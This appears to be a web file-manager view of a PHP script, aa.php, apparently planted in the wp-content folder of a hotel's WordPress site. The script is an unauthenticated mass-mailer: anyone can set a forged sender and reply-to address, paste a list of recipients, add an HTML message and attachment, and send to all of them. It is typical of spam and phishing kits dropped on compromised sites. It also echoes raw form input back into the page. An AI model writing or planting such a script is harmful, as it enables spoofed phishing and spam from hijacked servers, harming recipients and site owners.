File manager - Edit - /home/monara/public_html/Hotel_Sapphire_redesign/wp-content/www/aa.php
Back
<?php ignore_user_abort(); set_time_limit(0); // ------------------------- // TOKEN REPLACEMENT FUNCTION // ------------------------- function replace_tokens($message, $tokens) { foreach ($tokens as $key => $value) { $message = str_replace('{{'.$key.'}}', $value, $message); } return $message; } function enviando() { $msg = 1; // Collect form inputs $de[1] = $_POST['de']; $nome[1] = $_POST['nome']; $replyto[1] = $_POST['replyto']; $assunto[1] = $_POST['assunto']; $mensagemOrg = stripslashes($_POST['mensagem']); $emails = trim($_POST['emails']); $para = explode("\n", $emails); $n_emails = count($para); // Attachment system check $attachment_exists = isset($_FILES['attachment']) && $_FILES['attachment']['tmp_name'] != ""; if ($attachment_exists) { $file_tmp = $_FILES['attachment']['tmp_name']; $file_name = $_FILES['attachment']['name']; $file_type = $_FILES['attachment']['type']; $file_data = chunk_split(base64_encode(file_get_contents($file_tmp))); $boundary = md5(time()); } if ($_POST['vai']) { $n_mail = 0; for ($set = 0; $set < $n_emails; $set++) { $destino = trim($para[$set]); if ($destino == "") continue; // ------------------------------------- // TOKEN VALUES FOR EACH RECIPIENT // ------------------------------------- $tokens = [ 'email' => $destino, 'name' => $nome[$msg], 'date' => date("Y-m-d H:i:s") ]; // Replace tokens inside message $mensagem = replace_tokens($mensagemOrg, $tokens); // ------------------------------------- // HEADERS // ------------------------------------- $headers = "From: {$nome[$msg]} <{$de[$msg]}>\r\n"; $headers .= "Reply-To: {$replyto[$msg]}\r\n"; $headers .= "MIME-Version: 1.0\r\n"; if ($attachment_exists) { $headers .= "Content-Type: multipart/mixed; boundary=\"{$boundary}\"\r\n\r\n"; // Body with HTML + attachment $body = "--{$boundary}\r\n"; $body .= "Content-Type: text/html; charset=UTF-8\r\n"; $body .= "Content-Transfer-Encoding: 7bit\r\n\r\n"; $body .= $mensagem . "\r\n\r\n"; $body .= "--{$boundary}\r\n"; $body .= "Content-Type: {$file_type}; name=\"{$file_name}\"\r\n"; $body .= "Content-Transfer-Encoding: base64\r\n"; $body .= "Content-Disposition: attachment; filename=\"{$file_name}\"\r\n\r\n"; $body .= $file_data . "\r\n\r\n"; $body .= "--{$boundary}--"; } else { $headers .= "Content-Type: text/html; charset=UTF-8\r\n"; $body = $mensagem; } // ------------------------------------- // SEND EMAIL // ------------------------------------- $n_mail++; $send = mail($destino, $assunto[$msg], $body, $headers); if ($send) { echo "<font color='green'>{$n_mail} - {$destino} OK!</font><br>"; } else { echo "<font color='red'>{$n_mail} - {$destino} FAILED</font><br>"; } } } } ?> <style type="text/css"> <!-- .style5 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .style6 {font-size: 10px} .style9 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10; } --> </style> <form id="form1" name="form1" method="post" action="" enctype="multipart/form-data"> <input type="hidden" name="vai" value="1"> <label for="attachment">Select Attachment:</label><br><br> <input type="file" name="attachment" id="attach"><br><br> <span class="style5"><?php echo enviando(); ?></span> <table width="415" height="334" border="0" bgcolor="#000000"> <tr> <td width="66"><span class="style5">Name:</span></td> <td width="321"><span class="style9"> <label> <input name="nome" type="text" value="<?php echo $_POST['nome']; ?>" size="20" /> </label> </span></td> </tr> <tr> <td><span class="style5">From:</span></td> <td><input name="de" type="text" value="<?php echo $_POST['de']; ?>" size="30" /></td> </tr> <tr> <td><span class="style5">Reply-To:</span></td> <td><input name="replyto" type="text" value="<?php echo $_POST['replyto']; ?>" size="35" /></td> </tr> <tr> <td><span class="style5">Subject:</span></td> <td><input name="assunto" value="<?php echo $_POST['assunto']; ?>" size="40" /></td> </tr> <tr> <td><span class="style5">Message:</span></td> <td><span class="style9"> <p><textarea name="mensagem" cols="50" rows="7"><?php echo stripslashes($_POST['mensagem']); ?></textarea></p> <textarea name="emails" cols="50" rows="4"></textarea> </span></td> </tr> <tr> <td></td> <td align="center"> <span class="style5"><input name="Submit" type="submit" value="Send" /></span> </td> </tr> </table> </form>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Generation time: 0.01 |
proxy
|
phpinfo
|
Settings